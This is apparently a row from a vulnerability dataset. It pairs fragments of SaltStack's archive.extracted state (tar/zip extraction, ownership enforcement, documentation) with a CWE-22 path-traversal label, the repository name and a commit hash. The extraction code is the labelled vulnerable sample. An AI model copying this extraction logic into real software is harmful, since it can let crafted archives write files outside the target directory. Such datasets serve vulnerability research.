                                # Failed to open tar archive and it is not
                                # XZ-compressed, gracefully fail the state
                                if created_destdir:
                                    _cleanup_destdir(name)
                                ret['result'] = False
                                ret['comment'] = (
                                    'Failed to read from tar archive using '
                                    'Python\'s native tar file support. If '
                                    'archive is compressed using something '
                                    'other than gzip or bzip2, the '
                                    '\'options\' argument may be required to '
                                    'pass the correct options to the tar '
                                    'command in order to extract the archive.'
                                )
                                return ret
                        else:
                            if created_destdir:
                                _cleanup_destdir(name)
                            ret['result'] = False
                            ret['comment'] = (
                                'Failed to read from tar archive. If it is '
                                'XZ-compressed, install xz-utils to attempt '
                                'extraction.'
                            )
                            return ret
                else:
                    if not salt.utils.which('tar'):
                        ret['comment'] = (
                            'tar command not available, it might not be '
                            'installed on minion'
                        )
                        return ret

                    tar_opts = shlex.split(options)

                    tar_cmd = ['tar']
                    tar_shortopts = 'x'
                    tar_longopts = []

                    for position, opt in enumerate(tar_opts):
                        if opt.startswith('-'):
                            tar_longopts.append(opt)
                        else:
                            if position > 0:
                                tar_longopts.append(opt)
                            else:
                                append_opt = opt
                                append_opt = append_opt.replace('x', '')
                                append_opt = append_opt.replace('f', '')
                                tar_shortopts = tar_shortopts + append_opt

                    if __grains__['os'].lower() == 'openbsd':
                        tar_shortopts = '-' + tar_shortopts

                    tar_cmd.append(tar_shortopts)
                    tar_cmd.extend(tar_longopts)
                    tar_cmd.extend(['-f', cached_source])

                    results = __salt__['cmd.run_all'](tar_cmd,
                                                      cwd=name,
                                                      python_shell=False)
                    if results['retcode'] != 0:
                        ret['result'] = False
                        ret['changes'] = results
                        return ret
                    if _is_bsdtar():
                        files = results['stderr']
                    else:
                        files = results['stdout']
                    if not files:
                        files = 'no tar output so far'
        except CommandExecutionError as exc:
            ret['comment'] = exc.strerror
            return ret

    # Recursively set user and group ownership of files
    enforce_missing = []
    enforce_failed = []
    if user or group:
        if enforce_ownership_on:
            if os.path.isdir(enforce_ownership_on):
                enforce_dirs = [enforce_ownership_on]
                enforce_files = []
                enforce_links = []
            else:
                enforce_dirs = []
                enforce_files = [enforce_ownership_on]
                enforce_links = []
        else:
            if contents is not None:
                enforce_dirs = contents['top_level_dirs']
                enforce_files = contents['top_level_files']
                enforce_links = contents['top_level_links']

        recurse = []
        if user:
            recurse.append('user')
        if group:
            recurse.append('group')
        recurse_str = ', '.join(recurse)

        owner_changes = dict([
            (x, y) for x, y in (('user', user), ('group', group)) if y
        ])
        for dirname in enforce_dirs:
            full_path = os.path.join(name, dirname)
            if not os.path.isdir(full_path):
                if not __opts__['test']:
                    enforce_missing.append(full_path)
            else:
                log.debug(
                    'Enforcing %s ownership on %s using a file.directory state%s',
                    recurse_str,
                    dirname,
                    ' (dry-run only)' if __opts__['test'] else ''
                )
                dir_result = __states__['file.directory'](full_path,
                                                          user=user,
                                                          group=group,
                                                          recurse=recurse,
                                                          test=__opts__['test'])
                try:
                    dir_result = dir_result[next(iter(dir_result))]
                except AttributeError:
                    pass
                log.debug('file.directory: %s', dir_result)

                if __opts__['test']:
                    if dir_result.get('pchanges'):
                        ret['changes']['updated ownership'] = True
                else:
                    try:
                        if dir_result['result']:
                            if dir_result['changes']:
                                ret['changes']['updated ownership'] = True
                        else:
                            enforce_failed.append(full_path)
                    except (KeyError, TypeError):
                        log.warning(
                            'Bad state return %s for file.directory state on %s',
                            dir_result, dirname
                        )

        for filename in enforce_files + enforce_links:
            full_path = os.path.join(name, filename)
            try:
                # Using os.lstat instead of calling out to
                # __salt__['file.stats'], since we may be doing this for a lot
                # of files, and simply calling os.lstat directly will speed
                # things up a bit.
                file_stat = os.lstat(full_path)
            except OSError as exc:
                if not __opts__['test']:
                    if exc.errno == errno.ENOENT:
                        enforce_missing.append(full_path)
                    enforce_failed.append(full_path)
            else:
                # Earlier we set uid, gid to -1 if we're not enforcing
                # ownership on user, group, as passing -1 to os.chown will tell
                # it not to change that ownership. Since we've done that, we
                # can selectively compare the uid/gid from the values in
                # file_stat, _only if_ the ""desired"" uid/gid is something other
                # than -1.
                if (uid != -1 and uid != file_stat.st_uid) \
                        or (gid != -1 and gid != file_stat.st_gid):
                    if __opts__['test']:
                        ret['changes']['updated ownership'] = True
                    else:
                        try:
                            os.lchown(full_path, uid, gid)
                            ret['changes']['updated ownership'] = True
                        except OSError:
                            enforce_failed.append(filename)

    if extraction_needed:
        if len(files) > 0:
            if created_destdir:
                ret['changes']['directories_created'] = [name]
            ret['changes']['extracted_files'] = files
            ret['comment'] = '{0} extracted to {1}'.format(source_match, name)
            if not source_is_local and not keep:
                log.debug('Cleaning cached source file %s', cached_source)
                try:
                    os.remove(cached_source)
                except OSError as exc:
                    if exc.errno != errno.ENOENT:
                        log.error(
                            'Failed to clean cached source file %s: %s',
                            cached_source, exc.__str__()
                        )
            ret['result'] = True

        else:
            ret['result'] = False
            ret['comment'] = 'Can\'t extract content of {0}'.format(source_match)
    else:
        ret['result'] = True
        if if_missing_path_exists:
            ret['comment'] = '{0} exists'.format(if_missing)
        else:
            ret['comment'] = 'All files in archive are already present'
        if __opts__['test']:
            if ret['changes'].get('updated ownership'):
                ret['result'] = None
                ret['comment'] += (
                    '. Ownership would be updated on one or more '
                    'files/directories.'
                )

    if enforce_missing:
        if not if_missing:
            # If is_missing was used, and both a) the archive had never been
            # extracted, and b) the path referred to by if_missing exists, then
            # enforce_missing would contain paths of top_levle dirs/files that
            # _would_ have been extracted. Since if_missing can be used as a
            # semaphore to conditionally extract, we don't want to make this a
            # case where the state fails, so we only fail the state if
            # is_missing is not used.
            ret['result'] = False
        ret['comment'] += (
            '\n\nWhile trying to enforce user/group ownership, the following '
            'paths were missing:\n'
        )
        for item in enforce_missing:
            ret['comment'] += '\n- {0}'.format(item)

    if enforce_failed:
        ret['result'] = False
        ret['comment'] += (
            '\n\nWhile trying to enforce user/group ownership, Salt was '
            'unable to change ownership on the following paths:\n'
        )
        for item in enforce_failed:
            ret['comment'] += '\n- {0}'.format(item)

    return ret",CWE-22,saltstack/salt,15db8d47edfd7ad35a75a1a9f512b29e50192f41,"def extracted(name,
              source,
              source_hash=None,
              source_hash_name=None,
              source_hash_update=False,
              skip_verify=False,
              password=None,
              options=None,
              list_options=None,
              force=False,
              overwrite=False,
              clean=False,
              user=None,
              group=None,
              if_missing=None,
              keep=False,
              trim_output=False,
              use_cmd_unzip=None,
              extract_perms=True,
              enforce_toplevel=True,
              enforce_ownership_on=None,
              archive_format=None,
              **kwargs):
    '''
    .. versionadded:: 2014.1.0
    .. versionchanged:: 2016.11.0
        This state has been rewritten. Some arguments are new to this release
        and will not be available in the 2016.3 release cycle (and earlier).
        Additionally, the **ZIP Archive Handling** section below applies
        specifically to the 2016.11.0 release (and newer).

    Ensure that an archive is extracted to a specific directory.

    .. important::
        **Changes for 2016.11.0**

        In earlier releases, this state would rely on the ``if_missing``
        argument to determine whether or not the archive needed to be
        extracted. When this argument was not passed, then the state would just
        assume ``if_missing`` is the same as the ``name`` argument (i.e. the
        parent directory into which the archive would be extracted).

        This caused a number of annoyances. One such annoyance was the need to
        know beforehand a path that would result from the extraction of the
        archive, and setting ``if_missing`` to that directory, like so:

        .. code-block:: yaml

            extract_myapp:
              archive.extracted:
                - name: /var/www
                - source: salt://apps/src/myapp-16.2.4.tar.gz
                - user: www
                - group: www
                - if_missing: /var/www/myapp-16.2.4

        If ``/var/www`` already existed, this would effectively make
        ``if_missing`` a required argument, just to get Salt to extract the
        archive.

        Some users worked around this by adding the top-level directory of the
        archive to the end of the ``name`` argument, and then used ``--strip``
        or ``--strip-components`` to remove that top-level dir when extracting:

        .. code-block:: yaml

            extract_myapp:
              archive.extracted:
                - name: /var/www/myapp-16.2.4
                - source: salt://apps/src/myapp-16.2.4.tar.gz
                - user: www
                - group: www
                - tar_options: --strip-components=1

        With the rewrite for 2016.11.0, these workarounds are no longer
        necessary. ``if_missing`` is still a supported argument, but it is no
        longer required. The equivalent SLS in 2016.11.0 would be:

        .. code-block:: yaml

            extract_myapp:
              archive.extracted:
                - name: /var/www
                - source: salt://apps/src/myapp-16.2.4.tar.gz
                - user: www
                - group: www

        Salt now uses a function called :py:func:`archive.list
        <salt.modules.archive.list>` to get a list of files/directories in the
        archive. Using this information, the state can now check the minion to
        see if any paths are missing, and know whether or not the archive needs
        to be extracted. This makes the ``if_missing`` argument unnecessary in
        most use cases.

    .. important::
        **ZIP Archive Handling**

        *Note: this information applies to 2016.11.0 and later.*

        Salt has two different functions for extracting ZIP archives:

        1. :py:func:`archive.unzip <salt.modules.archive.unzip>`, which uses
           Python's zipfile_ module to extract ZIP files.
        2. :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>`, which
           uses the ``unzip`` CLI command to extract ZIP files.

        Salt will prefer the use of :py:func:`archive.cmd_unzip
        <salt.modules.archive.cmd_unzip>` when CLI options are specified (via
        the ``options`` argument), and will otherwise prefer the
        :py:func:`archive.unzip <salt.modules.archive.unzip>` function. Use
        of :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>` can be
        forced however by setting the ``use_cmd_unzip`` argument to ``True``.
        By contrast, setting this argument to ``False`` will force usage of
        :py:func:`archive.unzip <salt.modules.archive.unzip>`. For example:

        .. code-block:: yaml

            /var/www:
              archive.extracted:
                - source: salt://foo/bar/myapp.zip
                - use_cmd_unzip: True

        When ``use_cmd_unzip`` is omitted, Salt will choose which extraction
        function to use based on the source archive and the arguments passed to
        the state. When in doubt, simply do not set this argument; it is
        provided as a means of overriding the logic Salt uses to decide which
        function to use.

        There are differences in the features available in both extraction
        functions. These are detailed below.

        - *Command-line options* (only supported by :py:func:`archive.cmd_unzip
          <salt.modules.archive.cmd_unzip>`) - When the ``options`` argument is
          used, :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>`
          is the only function that can be used to extract the archive.
          Therefore, if ``use_cmd_unzip`` is specified and set to ``False``,
          and ``options`` is also set, the state will not proceed.

        - *Permissions* - Due to an `upstream bug in Python`_, permissions are
          not preserved when the zipfile_ module is used to extract an archive.
          As of the 2016.11.0 release, :py:func:`archive.unzip
          <salt.modules.archive.unzip>` (as well as this state) has an
          ``extract_perms`` argument which, when set to ``True`` (the default),
          will attempt to match the permissions of the extracted
          files/directories to those defined within the archive. To disable
          this functionality and have the state not attempt to preserve the
          permissions from the ZIP archive, set ``extract_perms`` to ``False``:

          .. code-block:: yaml

              /var/www:
                archive.extracted:
                  - source: salt://foo/bar/myapp.zip
                  - extract_perms: False

    .. _`upstream bug in Python`: https://bugs.python.org/issue15795

    name
        Directory into which the archive should be extracted

    source
        Archive to be extracted

        .. note::
            This argument uses the same syntax as its counterpart in the
            :py:func:`file.managed <salt.states.file.managed>` state.

    source_hash
        Hash of source file, or file with list of hash-to-file mappings

        .. note::
            This argument uses the same syntax as its counterpart in the
            :py:func:`file.managed <salt.states.file.managed>` state.

        .. versionchanged:: 2016.11.0
            If this argument specifies the hash itself, instead of a URI to a
            file containing hashes, the hash type can now be omitted and Salt
            will determine the hash type based on the length of the hash. For
            example, both of the below states are now valid, while before only
            the second one would be:

        .. code-block:: yaml

            foo_app:
              archive.extracted:
                - name: /var/www
                - source: https://mydomain.tld/foo.tar.gz
                - source_hash: 3360db35e682f1c5f9c58aa307de16d41361618c

            bar_app:
              archive.extracted:
                - name: /var/www
                - source: https://mydomain.tld/bar.tar.gz
                - source_hash: sha1=5edb7d584b82ddcbf76e311601f5d4442974aaa5

    source_hash_name
        When ``source_hash`` refers to a hash file, Salt will try to find the
        correct hash by matching the filename part of the ``source`` URI. When
        managing a file with a ``source`` of ``salt://files/foo.tar.gz``, then
        the following line in a hash file would match:

        .. code-block:: text

            acbd18db4cc2f85cedef654fccc4a4d8    foo.tar.gz

        This line would also match:

        .. code-block:: text

            acbd18db4cc2f85cedef654fccc4a4d8    ./dir1/foo.tar.gz

        However, sometimes a hash file will include multiple similar paths:

        .. code-block:: text

            37b51d194a7513e45b56f6524f2d51f2    ./dir1/foo.txt
            acbd18db4cc2f85cedef654fccc4a4d8    ./dir2/foo.txt
            73feffa4b7f6bb68e44cf984c85f6e88    ./dir3/foo.txt

        In cases like this, Salt may match the incorrect hash. This argument
        can be used to tell Salt which filename to match, to ensure that the
        correct hash is identified. For example:

        .. code-block:: yaml

            /var/www:
              archive.extracted:
                - source: https://mydomain.tld/dir2/foo.tar.gz
                - source_hash: https://mydomain.tld/hashes
                - source_hash_name: ./dir2/foo.tar.gz

        .. note::
            This argument must contain the full filename entry from the
            checksum file, as this argument is meant to disambiguate matches
            for multiple files that have the same basename. So, in the
            example above, simply using ``foo.txt`` would not match.

        .. versionadded:: 2016.11.0

    source_hash_update
        Set this to ``True`` if archive should be extracted if source_hash has
        changed. This would extract regardless of the ``if_missing`` parameter.

        .. versionadded:: 2016.3.0

    skip_verify : False
        If ``True``, hash verification of remote file sources (``http://``,
        ``https://``, ``ftp://``) will be skipped, and the ``source_hash``
        argument will be ignored.

        .. versionadded:: 2016.3.4

    password
        **For ZIP archives only.** Password used for extraction.

        .. versionadded:: 2016.3.0
        .. versionchanged:: 2016.11.0
          The newly-added :py:func:`archive.is_encrypted
          <salt.modules.archive.is_encrypted>` function will be used to
          determine if the archive is password-protected. If it is, then the
          ``password`` argument will be required for the state to proceed.

    options
        **For tar and zip archives only.**  This option can be used to specify
        a string of additional arguments to pass to the tar/zip command.

        If this argument is not used, then the minion will attempt to use
        Python's native tarfile_/zipfile_ support to extract it. For zip
        archives, this argument is mostly used to overwrite exsiting files with
        ``o``.

        Using this argument means that the ``tar`` or ``unzip`` command will be
        used, which is less platform-independent, so keep this in mind when
        using this option; the CLI options must be valid options for the
        ``tar``/``unzip`` implementation on the minion's OS.

        .. versionadded:: 2016.11.0
            The ``tar_options`` and ``zip_options`` parameters have been
            deprecated in favor of a single argument name.
        .. versionchanged:: 2015.8.11,2016.3.2
            XZ-compressed tar archives no longer require ``J`` to manually be
            set in the ``options``, they are now detected automatically and
            decompressed using the xz_ CLI command and extracted using ``tar
            xvf``. This is a more platform-independent solution, as not all tar
            implementations support the ``J`` argument for extracting archives.

        .. note::
            For tar archives, main operators like ``-x``, ``--extract``,
            ``--get``, ``-c`` and ``-f``/``--file`` should *not* be used here.

    tar_options
        .. deprecated:: 2016.11.0
            Use ``options`` instead.

    zip_options
        .. versionadded:: 2016.3.1
        .. deprecated:: 2016.11.0
            Use ``options`` instead.

    list_options
        **For tar archives only.** This state uses :py:func:`archive.list
        <salt.modules.archive.list_>` to discover the contents of the source
        archive so that it knows which file paths should exist on the minion if
        the archive has already been extracted. For the vast majority of tar
        archives, :py:func:`archive.list <salt.modules.archive.list_>` ""just
        works"". Archives compressed using gzip, bzip2, and xz/lzma (with the
        help of the xz_ CLI command) are supported automatically. However, for
        archives compressed using other compression types, CLI options must be
        passed to :py:func:`archive.list <salt.modules.archive.list_>`.

        This argument will be passed through to :py:func:`archive.list
        <salt.modules.archive.list_>` as its ``options`` argument, to allow it
        to successfully list the archive's contents. For the vast majority of
        archives, this argument should not need to be used, it should only be
        needed in cases where the state fails with an error stating that the
        archive's contents could not be listed.

        .. versionadded:: 2016.11.0

    force : False
        If a path that should be occupied by a file in the extracted result is
        instead a directory (or vice-versa), the state will fail. Set this
        argument to ``True`` to force these paths to be removed in order to
        allow the archive to be extracted.

        .. warning::
            Use this option *very* carefully.

        .. versionadded:: 2016.11.0

    overwrite : False
        Set this to ``True`` to force the archive to be extracted. This is
        useful for cases where the filenames/directories have not changed, but
        the content of the files have.

        .. versionadded:: 2016.11.1

    clean : False
        Set this to ``True`` to remove any top-level files and recursively
        remove any top-level directory paths before extracting.

        .. note::
            Files will only be cleaned first if extracting the archive is
            deemed necessary, either by paths missing on the minion, or if
            ``overwrite`` is set to ``True``.

        .. versionadded:: 2016.11.1

    user
        The user to own each extracted file. Not available on Windows.

        .. versionadded:: 2015.8.0
        .. versionchanged:: 2016.3.0
            When used in combination with ``if_missing``, ownership will only
            be enforced if ``if_missing`` is a directory.
        .. versionchanged:: 2016.11.0
            Ownership will be enforced only on the file/directory paths found
            by running :py:func:`archive.list <salt.modules.archive.list_>` on
            the source archive. An alternative root directory on which to
            enforce ownership can be specified using the
            ``enforce_ownership_on`` argument.

    group
        The group to own each extracted file. Not available on Windows.

        .. versionadded:: 2015.8.0
        .. versionchanged:: 2016.3.0
            When used in combination with ``if_missing``, ownership will only
            be enforced if ``if_missing`` is a directory.
        .. versionchanged:: 2016.11.0
            Ownership will be enforced only on the file/directory paths found
            by running :py:func:`archive.list <salt.modules.archive.list_>` on
            the source archive. An alternative root directory on which to
            enforce ownership can be specified using the
            ``enforce_ownership_on`` argument.

    if_missing
        If specified, this path will be checked, and if it exists then the
        archive will not be extracted. This path can be either a directory or a
        file, so this option can also be used to check for a semaphore file and
        conditionally skip extraction.

        .. versionchanged:: 2016.3.0
            When used in combination with either ``user`` or ``group``,
            ownership will only be enforced when ``if_missing`` is a directory.
        .. versionchanged:: 2016.11.0
            Ownership enforcement is no longer tied to this argument, it is
            simply checked for existence and extraction will be skipped if
            if is present.

    keep : False
        For ``source`` archives not local to the minion (i.e. from the Salt
        fileserver or a remote source such as ``http(s)`` or ``ftp``), Salt
        will need to download the archive to the minion cache before they can
        be extracted. After extraction, these source archives will be removed
        unless this argument is set to ``True``.

    trim_output : False
        Useful for archives with many files in them. This can either be set to
        ``True`` (in which case only the first 100 files extracted will be
        in the state results), or it can be set to an integer for more exact
        control over the max number of files to include in the state results.

        .. versionadded:: 2016.3.0

    use_cmd_unzip : False
        Set to ``True`` for zip files to force usage of the
        :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>` function
        to extract.

        .. versionadded:: 2016.11.0

    extract_perms : True
        **For ZIP archives only.** When using :py:func:`archive.unzip
        <salt.modules.archive.unzip>` to extract ZIP archives, Salt works
        around an `upstream bug in Python`_ to set the permissions on extracted
        files/directories to match those encoded into the ZIP archive. Set this
        argument to ``False`` to skip this workaround.

        .. versionadded:: 2016.11.0

    enforce_toplevel : True
        This option will enforce a single directory at the top level of the
        source archive, to prevent extracting a 'tar-bomb'. Set this argument
        to ``False`` to allow archives with files (or multiple directories) at
        the top level to be extracted.

        .. versionadded:: 2016.11.0

    enforce_ownership_on
        When ``user`` or ``group`` is specified, Salt will default to enforcing
        permissions on the file/directory paths detected by running
        :py:func:`archive.list <salt.modules.archive.list_>` on the source
        archive. Use this argument to specify an alternate directory on which
        ownership should be enforced.

        .. note::
            This path must be within the path specified by the ``name``
            argument.

        .. versionadded:: 2016.11.0

    archive_format
        One of ``tar``, ``zip``, or ``rar``.

        .. versionchanged:: 2016.11.0
            If omitted, the archive format will be guessed based on the value
            of the ``source`` argument.

    .. _tarfile: https://docs.python.org/2/library/tarfile.html
    .. _zipfile: https://docs.python.org/2/library/zipfile.html
    .. _xz: http://tukaani.org/xz/

    **Examples**

    1. tar with lmza (i.e. xz) compression:

       .. code-block:: yaml

           graylog2-server:
             archive.extracted:
               - name: /opt/
               - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
               - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6

    2. tar archive with flag for verbose output, and enforcement of user/group
       ownership:

       .. code-block:: yaml

           graylog2-server:
             archive.extracted:
               - name: /opt/
               - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.gz
               - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
               - options: v
               - user: foo
               - group: foo

    3. tar archive, with ``source_hash_update`` set to ``True`` to prevent
       state from attempting extraction unless the ``source_hash`` differs
       from the previous time the archive was extracted:

       .. code-block:: yaml

           graylog2-server:
             archive.extracted:
               - name: /opt/
               - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
               - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
               - source_hash_update: True
    '''
    ret = {'name': name, 'result': False, 'changes': {}, 'comment': ''}

    # Remove pub kwargs as they're irrelevant here.
    kwargs = salt.utils.clean_kwargs(**kwargs)

    if not _path_is_abs(name):
        ret['comment'] = '{0} is not an absolute path'.format(name)
        return ret
    else:
        if not name:
            # Empty name, like None, '' etc.
            ret['comment'] = 'Name of the directory path needs to be specified'
            return ret
        # os.path.isfile() returns False when there is a trailing slash, hence
        # our need for first stripping the slash and then adding it back later.
        # Otherwise, we can't properly check if the extraction location both a)
        # exists and b) is a file.
        #
        # >>> os.path.isfile('/tmp/foo.txt')
        # True
        # >>> os.path.isfile('/tmp/foo.txt/')
        # False
        name = name.rstrip('/')
        if os.path.isfile(name):
            ret['comment'] = '{0} exists and is not a directory'.format(name)
            return ret
        # Add back the slash so that file.makedirs properly creates the
        # destdir if it needs to be created. file.makedirs expects a trailing
        # slash in the directory path.
        name += os.sep
    if not _path_is_abs(if_missing):
        ret['comment'] = 'Value for \'if_missing\' is not an absolute path'
        return ret
    if not _path_is_abs(enforce_ownership_on):
        ret['comment'] = ('Value for \'enforce_ownership_on\' is not an '
                          'absolute path')
        return ret
    else:
        if enforce_ownership_on is not None:
            try:
                not_rel = os.path.relpath(enforce_ownership_on,
                                          name).startswith('..' + os.sep)
            except Exception:
                # A ValueError is raised on Windows when the paths passed to
                # os.path.relpath are not on the same drive letter. Using a
                # generic Exception here to keep other possible exception types
                # from making this state blow up with a traceback.
                not_rel = True
            if not_rel:
                ret['comment'] = (
                    'Value for \'enforce_ownership_on\' must be within {0}'
                    .format(name)
                )
                return ret

    if user or group:
        if salt.utils.is_windows():
            ret['comment'] = \
                'User/group ownership cannot be enforced on Windows minions'
            return ret

        if user:
            uid = __salt__['file.user_to_uid'](user)
            if uid == '':
                ret['comment'] = 'User {0} does not exist'.format(user)
                return ret
        else:
            uid = -1

        if group:
            gid = __salt__['file.group_to_gid'](group)
            if gid == '':
                ret['comment'] = 'Group {0} does not exist'.format(group)
                return ret
        else:
            gid = -1
    else:
        # We should never hit the ownership enforcement code unless user or
        # group was specified, but just in case, set uid/gid to -1 to make the
        # os.chown() a no-op and avoid a NameError.
        uid = gid = -1

    if source_hash_update and not source_hash:
        ret.setdefault('warnings', []).append(
            'The \'source_hash_update\' argument is ignored when '
            '\'source_hash\' is not also specified.'
        )

    try:
        source_match = __salt__['file.source_list'](source,
                                                    source_hash,
                                                    __env__)[0]
    except CommandExecutionError as exc:
        ret['result'] = False
        ret['comment'] = exc.strerror
        return ret

    urlparsed_source = _urlparse(source_match)
    source_hash_basename = urlparsed_source.path or urlparsed_source.netloc

    source_is_local = urlparsed_source.scheme in ('', 'file')
    if source_is_local:
        # Get rid of ""file://"" from start of source_match
        source_match = urlparsed_source.path
        if not os.path.isfile(source_match):
            ret['comment'] = 'Source file \'{0}\' does not exist'.format(source_match)
            return ret

    valid_archive_formats = ('tar', 'rar', 'zip')
    if not archive_format:
        archive_format = salt.utils.files.guess_archive_type(source_hash_basename)
        if archive_format is None:
            ret['comment'] = (
                'Could not guess archive_format from the value of the '
                '\'source\' argument. Please set this archive_format to one '
                'of the following: {0}'.format(', '.join(valid_archive_formats))
            )
            return ret
    try:
        archive_format = archive_format.lower()
    except AttributeError:
        pass
    if archive_format not in valid_archive_formats:
        ret['comment'] = (
            'Invalid archive_format \'{0}\'. Either set it to a supported '
            'value ({1}) or remove this argument and the archive format will '
            'be guesseed based on file extension.'.format(
                archive_format,
                ', '.join(valid_archive_formats),
            )
        )
        return ret

    tar_options = kwargs.pop('tar_options', None)
    zip_options = kwargs.pop('zip_options', None)
    if tar_options:
        msg = ('The \'tar_options\' argument has been deprecated, please use '
               '\'options\' instead.')
        salt.utils.warn_until('Oxygen', msg)
        ret.setdefault('warnings', []).append(msg)
        options = tar_options
    elif zip_options:
        msg = ('The \'zip_options\' argument has been deprecated, please use '
               '\'options\' instead.')
        salt.utils.warn_until('Oxygen', msg)
        ret.setdefault('warnings', []).append(msg)
        options = zip_options

    if options is not None and not isinstance(options, six.string_types):
        options = str(options)

    strip_components = None
    if options and archive_format == 'tar':
        try:
            strip_components = int(
                re.search(
                    r'''--strip(?:-components)?(?:\s+|=)[""']?(\d+)[""']?''',
                    options
                ).group(1)
            )
        except (AttributeError, ValueError):
            pass

    if archive_format == 'zip':
        if options:
            if use_cmd_unzip is None:
                log.info(
                    'Presence of CLI options in archive.extracted state for '
                    '\'%s\' implies that use_cmd_unzip is set to True.', name
                )
                use_cmd_unzip = True
            elif not use_cmd_unzip:
                # use_cmd_unzip explicitly disabled
                ret['comment'] = (
                    '\'use_cmd_unzip\' cannot be set to False if CLI options '
                    'are being specified (via the \'options\' argument). '
                    'Either remove \'use_cmd_unzip\', or set it to True.'
                )
                return ret
            if use_cmd_unzip:
                if 'archive.cmd_unzip' not in __salt__:
                    ret['comment'] = (
                        'archive.cmd_unzip function not available, unzip might '
                        'not be installed on minion'
                    )
                    return ret
        if password:
            if use_cmd_unzip is None:
                log.info(
                    'Presence of a password in archive.extracted state for '
                    '\'%s\' implies that use_cmd_unzip is set to False.', name
                )
                use_cmd_unzip = False
            elif use_cmd_unzip:
                ret.setdefault('warnings', []).append(
                    'Using a password in combination with setting '
                    '\'use_cmd_unzip\' to True is considered insecure. It is '
                    'recommended to remove the \'use_cmd_unzip\' argument (or '
                    'set it to False) and allow Salt to extract the archive '
                    'using Python\'s built-in ZIP file support.'
                )
    else:
        if password:
            ret['comment'] = \
                'The \'password\' argument is only supported for zip archives'
            return ret

    if archive_format == 'rar':
        if 'archive.unrar' not in __salt__:
            ret['comment'] = (
                'archive.unrar function not available, rar/unrar might '
                'not be installed on minion'
            )
            return ret

    supports_options = ('tar', 'zip')
    if options and archive_format not in supports_options:
        ret['comment'] = (
            'The \'options\' argument is only compatible with the following '
            'archive formats: {0}'.format(', '.join(supports_options))
        )
        return ret

    if trim_output and not isinstance(trim_output, (bool, six.integer_types)):
        try:
            # Try to handle cases where trim_output was passed as a
            # string-ified integer.
            trim_output = int(trim_output)
        except TypeError:
            ret['comment'] = (
                'Invalid value for trim_output, must be True/False or an '
                'integer'
            )
            return ret

    if source_is_local:
        cached_source = source_match
    else:
        cached_source = os.path.join(
            __opts__['cachedir'],
            'files',
            __env__,
            re.sub(r'[:/\\]', '_', source_hash_basename),
        )

        if os.path.isdir(cached_source):
            # Prevent a traceback from attempting to read from a directory path
            salt.utils.rm_rf(cached_source)

    if source_hash:
        try:
            source_sum = __salt__['file.get_source_sum']('',
                                                         source,
                                                         source_hash,
                                                         source_hash_name,
                                                         __env__)
        except CommandExecutionError as exc:
            ret['comment'] = exc.strerror
            return ret

        if source_hash_update:
            if _compare_checksum(cached_source, source_sum):
                ret['result'] = True
                ret['comment'] = \
                    'Hash {0} has not changed'.format(source_sum['hsum'])
                return ret
    else:
        source_sum = {}

    concurrent = bool(__opts__.get('sudo_user'))
    if not source_is_local and not os.path.isfile(cached_source):
        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = \
                'Archive {0} would be downloaded to cache'.format(source_match)
            return ret

        log.debug('%s is not in cache, downloading it', source_match)

        file_result = __salt__['state.single']('file.managed',
                                               cached_source,
                                               source=source_match,
                                               source_hash=source_hash,
                                               source_hash_name=source_hash_name,
                                               makedirs=True,
                                               skip_verify=skip_verify,
                                               saltenv=__env__,
                                               concurrent=concurrent)
        log.debug('file.managed: {0}'.format(file_result))

        # Prevent a traceback if errors prevented the above state from getting
        # off the ground.
        if isinstance(file_result, list):
            try:
                ret['comment'] = '\n'.join(file_result)
            except TypeError:
                ret['comment'] = '\n'.join([str(x) for x in file_result])
            return ret

        # Get actual state result. The state.single return is a single-element
        # dictionary with the state's unique ID at the top level, and its value
        # being the state's return dictionary. next(iter(dict_name)) will give
        # us the value of the first key, so
        # file_result[next(iter(file_result))] will give us the results of the
        # state.single we just ran.
        try:
            file_result = file_result[next(iter(file_result))]
        except AttributeError:
            pass

        try:
            if not file_result['result']:
                log.debug('failed to download {0}'.format(source_match))
                return file_result
        except TypeError:
            if not file_result:
                log.debug('failed to download {0}'.format(source_match))
                return file_result
    else:
        log.debug('Archive %s is already in cache', source_match)

    if source_hash:
        _update_checksum(cached_source, source_sum)

    if archive_format == 'zip' and not password:
        log.debug('Checking %s to see if it is password-protected',
                  source_match)
        # Either use_cmd_unzip was explicitly set to True, or was
        # implicitly enabled by setting the ""options"" argument.
        try:
            encrypted_zip = __salt__['archive.is_encrypted'](
                cached_source,
                clean=False,
                saltenv=__env__)
        except CommandExecutionError:
            # This would happen if archive_format=zip and the source archive is
            # not actually a zip file.
            pass
        else:
            if encrypted_zip:
                ret['comment'] = (
                    'Archive {0} is password-protected, but no password was '
                    'specified. Please set the \'password\' argument.'.format(
                        source_match
                    )
                )
                return ret

    try:
        contents = __salt__['archive.list'](cached_source,
                                            archive_format=archive_format,
                                            options=list_options,
                                            strip_components=strip_components,
                                            clean=False,
                                            verbose=True)
    except CommandExecutionError as exc:
        contents = None
        errors = []
        if not if_missing:
            errors.append('\'if_missing\' must be set')
        if not enforce_ownership_on and (user or group):
            errors.append(
                'Ownership cannot be managed without setting '
                '\'enforce_ownership_on\'.'
            )
        msg = exc.strerror
        if errors:
            msg += '\n\n'
            if archive_format == 'tar':
                msg += (
                    'If the source archive is a tar archive compressed using '
                    'a compression type not natively supported by the tar '
                    'command, then setting the \'list_options\' argument may '
                    'allow the contents to be listed. Otherwise, if Salt is '
                    'unable to determine the files/directories in the '
                    'archive, the following workaround(s) would need to be '
                    'used for this state to proceed'
                )
            else:
                msg += (
                    'The following workarounds must be used for this state to '
                    'proceed'
                )
            msg += (
                ' (assuming the source file is a valid {0} archive):\n'
                .format(archive_format)
            )

            for error in errors:
                msg += '\n- {0}'.format(error)
        ret['comment'] = msg
        return ret

    if enforce_toplevel and contents is not None \
            and (len(contents['top_level_dirs']) > 1
                 or len(contents['top_level_files']) > 0):
